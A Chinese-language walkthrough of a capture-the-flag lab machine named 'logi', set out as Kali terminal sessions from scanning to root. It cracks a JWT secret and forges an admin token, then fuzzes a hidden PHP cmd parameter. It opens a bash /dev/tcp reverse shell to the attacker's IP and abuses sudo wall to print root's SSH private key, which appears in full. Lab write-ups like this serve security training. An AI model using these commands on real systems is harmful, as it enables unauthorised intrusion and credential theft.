信息收集 1 2 3 4 5 6 7 ┌──(root㉿kali)-[~] └─# arp-scan -l | grep PCS 192 .168 .31 .194 08 :00 :27 :18 :03 :eb PCS Systemtechnik GmbH┌──(root㉿kali)-[~] └─# IP=192 .168 .31 .194
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌──(root㉿kali)-[~] └─# nmap -sV -sC -A $IP -Pn Starting Nmap 7 .95 ( https://nmap.org ) at 2025 -09 -30 14 :25 EDT Nmap scan report for logi (192 .168 .31 .194 ) Host is up (0 .0017 s latency). Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION 22 /tcp open ssh OpenSSH 8 .4 p1 Debian 5 +deb11u3 (protocol 2 .0 )| ssh-hostkey: | 3072 f6:a3:b6:78 :c4:62 :af:44 :bb:1 a:a0:0 c:08 :6 b:98 :f7 (RSA) | 256 bb:e8:a2:31 :d4:05 :a9:c9:31 :ff:62 :f6:32 :84 :21 :9 d (ECDSA) |_ 256 3 b:ae:34 :64 :4 f:a5:75 :b9:4 a:b9:81 :f9:89 :76 :99 :eb (ED25519) 80 /tcp open http Apache httpd 2 .4 .62 ((Debian))|_http-title : TI15 AME\xE5\x8A\xA9\xE5\xA8\x81 |_http-server-header: Apache/2 .4 .62 (Debian) MAC Address: 08 :00 :27 :18 :03 :EB (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type : general purpose Running: Linux 4.X |5.X OS CPE : cpe :/o:linux :linux_kernel :4 cpe :/o:linux :linux_kernel :5OS details : Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)Network Distance : 1 hop Service Info : OS : Linux ; CPE : cpe :/o:linux :linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.65 ms logi (192.168.31.194) OS and Service detection performed . Please report any incorrect results at https ://nmap.org /submit / .Nmap done : 1 IP address (1 host up ) scanned in 8.23 seconds
先看看首页有啥
1 2 3 4 ┌──(root㉿kali)-[~] └─# curl -s $IP ... <!--ame:jiayouachunyu-->
目录扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌──(root㉿kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2 .3 -medium.txt -u http://$IP -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192 .168 .31 .194 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2 .3 -medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3 .6 [+] Extensions: zip,shtml,php,php3,tar,gz,txt,html,bk,bak [+] Timeout: 10 s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403 ) [Size: 278 ] /index.html (Status: 200 ) [Size: 3281 ] /.html (Status: 403 ) [Size: 278 ] /user (Status: 200 ) [Size: 2170 ] /user.php (Status: 200 ) [Size: 2170 ] /admin (Status: 200 ) [Size: 1576 ] /admin.php (Status: 200 ) [Size: 1576 ] /.html (Status: 403 ) [Size: 278 ] /.php (Status: 403 ) [Size: 278 ] /server-status (Status: 403 ) [Size: 278 ] Progress: 2426160 / 2426171 (100.00%) =============================================================== Finished ===============================================================
用 ame:jiayouachunyu 登录进 user.php 了,拿到 jwt
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTI1NzEwMywiZXhwIjoxNzU5MjYwNzAzLCJzdWIiOiJhbWUiLCJyb2xlIjoidXNlciJ9.iMbyjqjyjHxyQlTLdU8KmYdq7WlfnFQbQleI8-8lLpE
用 jwt_tool 爆破 jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~/Desktop/jwt_tool] └─$ python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTIxNDAwNSwiZXhwIjoxNzU5MjE3NjA1LCJzdWIiOiJhbWUiLCJyb2xlIjoidXNlciJ9.3 _7R14x70FFFh6OI43EOvm31WwHKtQmS7s-hUdm7y1g -C -d "/usr/share/wordlists/rockyou.txt" \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2 .3 .0 \______| @ticarpi /home/kali/.jwt_tool/jwtconf.ini Original JWT: [+] nevergiveup is the CORRECT key! You can tamper/fuzz the token contents (-T/-I) and sign it using: python3 jwt_tool.py [options here] -S hs256 -p "nevergiveup"
得到密钥 nevergiveup
在 JSON Web Tokens 解析发现 payload 是:
1 2 3 4 5 6 7 { "iss" : "moban" , "iat" : 1759257103 , "exp" : 1759260703 , "sub" : "ame" , "role" : "user" }
修改为:
1 2 3 4 5 6 7 { "iss" : "moban" , "iat" : 1759257103 , "exp" : 1759260703 , "sub" : "ame" , "role" : "admin" }
然后重新编码得到:
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTI1NzEwMywiZXhwIjoxNzU5MjYwNzAzLCJzdWIiOiJhbWUiLCJyb2xlIjoiYWRtaW4ifQ.LeStfNXO7i1_t7bhnHM7HL0uqMUoKC56XxQy3xkcjhQ
浏览器改一下 cookie 就进去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!doctype html > <html lang ="zh-CN" > <head > <meta charset ="utf-8" > <meta name ="viewport" content ="width=device-width,initial-scale=1" > <title > Admin Area</title > <style > body {font-family :Segoe UI,Microsoft Yahei,Arial;background :#071029 ;color :#e6eef8 ;padding :30px } .card {max-width :900px ;margin :30px auto;padding :20px ;background :#081428 ;border-radius :8px } .btn {display :inline-block;padding :8px 12px ;border-radius :6px ;background :#1e90ff ;color :#fff ;text-decoration :none} .notice {color :#9fb0cc ;margin-top :8px } </style > </head > <body > <div class ="card" > <h2 > 欢迎 — 管理员</h2 > <p > 你好,ame。你的身份已通过验证。</p > <div style ="margin:16px 0;padding:12px;background:#061226;border-radius:6px" > <p > <strong > karsakarsa369.php</strong > </p > <p > https://www.jwt.io/</p > </div > </div > </body > </html >
根据提示来到 $IP/karsakarsa369.php
1 2 3 ┌──(root㉿kali)-[~] └─# curl -s $IP/karsakarsa369.php fuzz
提示说要 fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ┌──(root㉿kali)-[~] └─# ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2 .3 -medium.txt:FUZZ -u http://$IP/karsakarsa369.php?FUZZ=test -fs 4 -c /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1 .0 -dev ________________________________________________ :: Method : GET :: URL : http://192 .168 .31 .194 /karsakarsa369.php?FUZZ=test :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2 .3 -medium.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 -299 ,301 ,302 ,307 ,401 ,403 ,405 ,500 :: Filter : Response size: 4 ________________________________________________ :: Progress: [220559 /220559 ] :: Job [1 /1 ] :: 2040 req/sec :: Duration: [0 :01 :43 ] :: Errors: 0 ::
换了几个字典都没扫出来,猜测可能已经执行成功了只是没回显,试试看时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ┌──(root㉿kali)-[~] └─# ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2 .3 -medium.txt:FUZZ -u "http://$IP/karsakarsa369.php?FUZZ=sleep(5 )%3 b" -mt '>4000 ' -timeout 10 -t 40 -c /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1 .0 -dev ________________________________________________ :: Method : GET :: URL : http://192 .168 .31 .194 /karsakarsa369.php?FUZZ=sleep(5 )%3 b :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2 .3 -medium.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response time : >4000 ________________________________________________ cmd [Status: 200 , Size: 4 , Words: 1 , Lines: 1 , Duration: 5013 ms]:: Progress: [220559 /220559 ] :: Job [1 /1 ] :: 8000 req/sec :: Duration: [0 :01 :30 ] :: Errors: 0 ::
扫出来参数 cmd 了,写个反弹 shell
一开始用 system 函数被拦了,看看被 ban 了哪些函数
1 2 3 ┌──(root㉿kali)-[~] └─# curl -g "http://$IP/karsakarsa369.php?cmd =print_r(ini_get('disable_functions'));" fuzzsystem,passthru,shell_exec,proc_open,pcntl_exec,dl
exec 没被 ban,就它了
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(root㉿kali)-[~] └─# curl -g "http://$IP/karsakarsa369.php?cmd =exec(%22bash% 20 -c%20'bash% 20 -i%20% 3 E%26% 20 /dev/tcp/192 .168 .31 .58 /4444 %200% 3 E%261'% 22 );" ┌──(root㉿kali)-[~] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192 .168 .31 .58 ] from (UNKNOWN) [192 .168 .31 .194 ] 59080 bash: cannot set terminal process group (417): Inappropriate ioctl for device bash : no job control in this shell www -data @logi :/var /www /html $ id id uid =33(www -data ) gid =33(www -data ) groups =33(www -data )
稳定 shell
1 2 3 4 5 Ctrl + Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=/bin/bash
横向移动 查看最近修改的文件
1 2 3 4 www-data@logi:/var/www/html$ find /var -type f -printf '%T@ %TY-% Tm-%Td %TH:% TM %p\n' 2 >/dev/null | sort -nr | head -n 100 | cut -d' ' -f2- ... 2025 -09 -28 10 :47 /var/backups/passwd...
疑似密码文件
1 2 www-data@logi:/var/www/html$ cat /var/backups/passwd xiangwozheyangderen
尝试登录 ame
1 2 3 4 www-data@logi:/var/www/html$ su ame Password: ame @logi :/var /www /html $ id uid =1000(ame ) gid =1000(ame ) groups =1000(ame )
提权 列出当前用户允许通过 sudo 执行的命令
1 2 3 4 5 6 7 ame@logi:~$ sudo -l Matching Defaults entries for ame on logi : env_reset , mail_badpass , secure_path =/usr /local /sbin \:/usr /local /bin \://sbin \:/usr /bin \:/sbin \:/bin User ame may run the following commands on logi : (ALL ) NOPASSWD : /usr /bin /wall
查询 wall | GTFOBins 发现可用于提权
The textual file is dumped on the current TTY (neither to stdout nor to stderr).
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
LFILE=file_to_read sudo wall –nobanner “$LFILE”
1 2 ame@logi:~$ sudo wall --nobanner "/root/.ssh/id_rsa" ame@logi:~$
然而这里却没有输出,这是因为 wall 命令的功能不是将内容输出到当前的 shell,而是将消息“广播”给所有当前登录到系统的用户的终端(TTY) 当前所在的 www-data -> su ame 的会话是一个反弹 shell,这种 shell 不被系统视为一个标准的、交互式的登录终端(TTY),它本质上只是一个 socket 重定向了 /bin/bash 的输入输出流,因此当 wall 命令执行时反弹 shell 不在广播目标列表里
通过 ssh 登录再执行就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 ┌──(root㉿kali)-[~] └─# ssh ame@$IP The authenticity of host '192 .168 .31 .194 (192 .168 .31 .194 )' can't be established. ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:2 : [hashed name] ~/.ssh/known_hosts:4 : [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.31.194' (ED25519 ) to the list of known hosts . ame @192.168.31.194's password : Linux logi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU /Linux system are free software ;the exact distribution terms for each program are described in the individual files in /usr /share /doc /*/copyright .Debian GNU /Linux comes with ABSOLUTELY NO WARRANTY , to the extent permitted by applicable law .Last login : Sun Sep 28 10:35:26 2025 from 172.20.10.11ame @logi :~$ sudo wall --nobanner "/root /.ssh /id_rsa " -----BEGIN OPENSSH PRIVATE KEY ----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn NhAAAAAwEAAQAAAgEAnaT0B +kb64e8z3am +GYUeZQ91emxMpRnMWpP0kh3fZCoBJFf5PNX m6U1vZ33KCr84 +gPmwaSzbw6YooQ87sFGosSwHSM /qp4zio8 /PCHJicFgSxb +VFNdWu4gG VbfU12OMnAlIktH8HPr53z3UzaltGubxPxAm55i2XOAu2mXvZQ7KJpD7ONM1l02oCp24zZ dh3zIomqaEslfFEQz3TEkMhVxUBi7MIGM9khrrmbsZUthKQW1 /hGm9hle9tFOeWtBVdMpk zKRrgrNfEHMQ3gviNesmmvxKCTCmxTt0D37sFrE9qW9f3ZxSclXBNLEfNd66VtYhalvJdP nKIIh6dN1FCyzGtn9U +vKc4uT2Zz9cEh8gmbEZbCUTmQX +LPMcCzuDTZpUY783zMNiYo1Y vFaW2Nk0SWcdP1Q +wo2w6BSW9cjYSFwLkikVEIwxZ98J9mFLasEzAw4bQ2gSq1QxabjvWh g8 +w1U6nyBgcKmtY4mPi1kWu4Yq88JYsRLcTOl +CamSMPbwA6r5XKDgDaVPVrwqN4ix +dc sNJFnlSgS /gfT /MQUuXE5 /Tm2I4S6JoPsBlqaKsZvGz3U21HMQV0fA5CV0PVwvPBn2C +SB 2EwSNfSGp3lEL1q0 /UHy +Y0awsDOizhWxb /2TLsawf0OQgLykxyCbxr8E9aazVZ8mMJ9t4 EAAAdA5YGAIuWBgCIAAAAHc3NoLXJzYQAAAgEAnaT0B +kb64e8z3am +GYUeZQ91emxMpRn MWpP0kh3fZCoBJFf5PNXm6U1vZ33KCr84 +gPmwaSzbw6YooQ87sFGosSwHSM /qp4zio8 /P CHJicFgSxb +VFNdWu4gGVbfU12OMnAlIktH8HPr53z3UzaltGubxPxAm55i2XOAu2mXvZQ 7KJpD7ONM1l02oCp24zZdh3zIomqaEslfFEQz3TEkMhVxUBi7MIGM9khrrmbsZUthKQW1 / hGm9hle9tFOeWtBVdMpkzKRrgrNfEHMQ3gviNesmmvxKCTCmxTt0D37sFrE9qW9f3ZxScl XBNLEfNd66VtYhalvJdPnKIIh6dN1FCyzGtn9U +vKc4uT2Zz9cEh8gmbEZbCUTmQX +LPMc CzuDTZpUY783zMNiYo1YvFaW2Nk0SWcdP1Q +wo2w6BSW9cjYSFwLkikVEIwxZ98J9mFLas EzAw4bQ2gSq1QxabjvWhg8 +w1U6nyBgcKmtY4mPi1kWu4Yq88JYsRLcTOl +CamSMPbwA6r 5XKDgDaVPVrwqN4ix +dcsNJFnlSgS /gfT /MQUuXE5 /Tm2I4S6JoPsBlqaKsZvGz3U21HMQ V0fA5CV0PVwvPBn2C +SB2EwSNfSGp3lEL1q0 /UHy +Y0awsDOizhWxb /2TLsawf0OQgLykx yCbxr8E9aazVZ8mMJ9t4EAAAADAQABAAACACjO25D0qhKVZ6341A43NpOmaT9nqEQkoHXt RE52DeCGQsgz7bPxvjr /UGMOcj2Gq0I //1ItKHFziVWa0fqV7iNJ3wfM4 /bEoFMWIgWEKi gZL9aZahGnFzsPMIqkMkPEepcGuwB4ZiLzY9TdOZSO4YLrMpF0gw4TFQmdx ++AH3Izpw0q mbHD1Ah33sT1S4MW +fAWnqrRIjivQzvkLErXuk6UXYebPEB3lW10hsCZMZGNwWO1qmgrz / Nl2Bdw0oHDT7 +zMpdWB4K5CA6Fn0v2gLgXpdrfeu2Wd5naIu2sNsIqdZKFIlD5bpcXpBcq s2MpMaXfg +pBXJPuQ2CTnUuoZn /ohgAdRZWBRhz3BPAdj20YDZB1FR8d7gm8wuprr51t0y Qu3liLLv7utHZ6twV +twHEtLZcfk4u5nK5eUhdUQv7KnRjmO51XD0vgT9sJcdvrCo /EroU 1bErEML7Jx08s5d6veWyCaw0P9hxSYqWA /8sn +cBA4nRio4f835u42DL +asE8vvPpJgs +p SxZlTCc5j362BpB /r6tXbt5 /gVcAlY7eG9Mi0XQE6MrRVFPHvjj4aVrJoahAvuTSCOwKSr DuGas5MsupLXtsvnQ +OLXoLfmau9dJkwceV9boMWijy /GUjq2PuXMzZCIzGdke0tM2CDzl XtnMsZxZlM0I2hbKQVAAABAQCbUliOaBlCdEsZ /uhF3 +QP /+KepMQt5E2XCyZmEKbdvVXI BU5DfJidd00juWV25gS +JeKJ5AmGcJMJZxzFNmcb4S08ydUxs5J0BuYJLlT7Hl8Wx +cv7C xuI69zfVKrEuXu54kfkUmn6M5Aq +VlAvAms8IS67jbVKf /V2pKvT9cd /dGK +A5YVihGxeT 9ST8g3S /+FviJeyjuMK8WGYh6774LvlRufzvxBRevdO /zVKH2DAFLEWGEFkt9TEGS3MDri gMAnF9in23bJ3ksoEQjhcafQL +UXGalUTKWmbwEfvuXtX48j7a4G /0ejBbChKQdRLd2n7O +6hRr97q9jur4V8bAAABAQDJegrTfveMpUcwV9S9 /PHjaq9YD1WvUSXMjOGGrGZyvg /czz GDbb +G /NqojFFoswqQ8nl3yw9yOiHvanHLAdLyG /xB76X07cupVHnY +N +M5dAlXDYpE0bq P3XVWOGRz55ZJ +ylI3DKmGseqcAKVJNhc9B0ZzgpyYDjAldbngiHilV +7JxCIXzxN2GhAA UyQLAFBQ54UKMdrJtAQOXBvSZgZ06ZmDqqC0Z /+YTlZ8Jyezl5le4yG42ilSYal /E +W1sc 9Bmz3QFyvSP5pqTKy0 /xfvr6RO9LJbt6i5mME +V7VV77HkW7O11qFF2w2p /zOjXpyXM81N ueXYKFdXSQuPw /AAABAQDITkel25RoCYjYRG /oE2G7qcMwdUrVsas5o0cXdhav3oot121T Hfdk1d +ZmHgJ9GEwnn630xXEbKfpRxkNRhJN5MCNELGpMyY0PrTuT1Z +eajhsjtoFjIJ3y veWG /EMR1oeDIUfD8zIdZ9xTsUL3Z9iS3aLL5prq0 +byOCVQr7WQyiK /SNMmF6sRTNFHhy CTJ0i6yKFl +EEcG2O0KyGWNeCjXhmxOaM4J1SLXemfPmYLKJPjlp9 +/suJrOVZwrLLJe5w 3g0lGOKdY /B +KeiRBh7 +rM4s +n0LfG5AZWztTNBn1I8nI5Ox3VV2Xml +EHlA /jzgISDTGh yFwO2nf1b1w /AAAACXJvb3RAbG9naQE = -----END OPENSSH PRIVATE KEY -----
把私钥保存到一个攻击机上(我这里命名为 id_rsa_logi),清理掉每行末尾的空格和制表符后使用私钥登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(root㉿kali)-[/home/kali/Desktop] └─# sed -i 's/[ \t]*$//' id_rsa_logi ┌──(root㉿kali)-[/home/kali/Desktop] └─# chmod 600 id_rsa_logi ┌──(root㉿kali)-[/home/kali/Desktop] └─# ssh -i id_rsa_logi root@$IP Linux logi 4 .19 .0 -27 -amd64 #1 SMP Debian 4 .19 .316 -1 (2024 -06 -25 ) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Sep 29 07 :40 :55 2025 from ::1 root@logi:~# id uid =0(root ) gid =0(root ) groups =0(root )
1 2 3 4 root@logi:~# cat /home/ame/user.txt user:{niudexiongdiniude} root@logi:~# cat /root/provemyself.txt root{xiangrootzheyangderen}